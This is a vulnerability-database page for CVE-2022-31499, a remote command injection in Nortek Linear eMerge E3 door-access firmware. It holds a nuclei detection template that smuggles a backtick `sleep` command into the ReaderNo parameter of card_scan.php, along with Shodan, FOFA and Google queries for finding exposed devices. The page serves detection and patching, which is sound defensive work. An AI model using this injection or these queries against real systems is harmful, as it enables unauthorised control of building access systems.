HexBrain

Browse / CVEs / CVE-2022-31499

CVE-2022-31499· nortekcontrol / emerge e3 firmware· CWE-78

Nortek Linear eMerge E3-Series <0.32-08f - Remote Command Injection

criticalseverity
9.8CVSS score
65%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Nortek Linear eMerge E3-Series devices before 0.32-08f are susceptible to remote command injection via ReaderNo. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. NOTE: this vulnerability exists because of an incomplete fix for CVE-2019-7256.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.

Fix

Upgrade to a patched version of Nortek Linear eMerge E3-Series (>=0.32-08f) to mitigate this vulnerability.

How to confirm it

Send: @timeout: 15s
Positive when: duration>=7 and contains(header, "text/html") and status_code == 200 and contains(body, '{\"CardNo\":false')

Run it with nuclei: nuclei -id CVE-2022-31499 -u <target>

The full check
id: CVE-2022-31499

info:
  name: Nortek Linear eMerge E3-Series <0.32-08f - Remote Command Injection
  author: pikpikcu
  severity: critical
  description: |
    Nortek Linear eMerge E3-Series devices before 0.32-08f are susceptible to remote command injection via ReaderNo. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. NOTE: this vulnerability exists because of an incomplete fix for CVE-2019-7256.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Upgrade to a patched version of Nortek Linear eMerge E3-Series (>=0.32-08f) to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/167991/Nortek-Linear-eMerge-E3-Series-Command-Injection.html
    - https://github.com/omarhashem123/CVE-2022-31499
    - http://packetstormsecurity.com/files/167991/Nortek-Linear-eMerge-E3-Series-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31499
    - https://eg.linkedin.com/in/omar-1-hashem
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31499
    cwe-id: CWE-78
    epss-score: 0.64589
    epss-percentile: 0.99247
    cpe: cpe:2.3:o:nortekcontrol:emerge_e3_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nortekcontrol
    product: emerge_e3_firmware
    shodan-query:
      - title:"eMerge"
      - http.title:"emerge"
      - http.title:"linear emerge"
    fofa-query:
      - title="emerge"
      - title="linear emerge"
    google-query:
      - intitle:"linear emerge"
      - intitle:"emerge"
  tags: time-based-sqli,cve,cve2022,packetstorm,emerge,rce,nortekcontrol,vkev,vuln

http:
  - raw:
      - |
        @timeout: 15s
        GET /card_scan.php?No=123&ReaderNo=`sleep%207`&CardFormatNo=123 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - duration>=7
          - contains(header, "text/html")
          - status_code == 200
          - contains(body, '{\"CardNo\":false')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from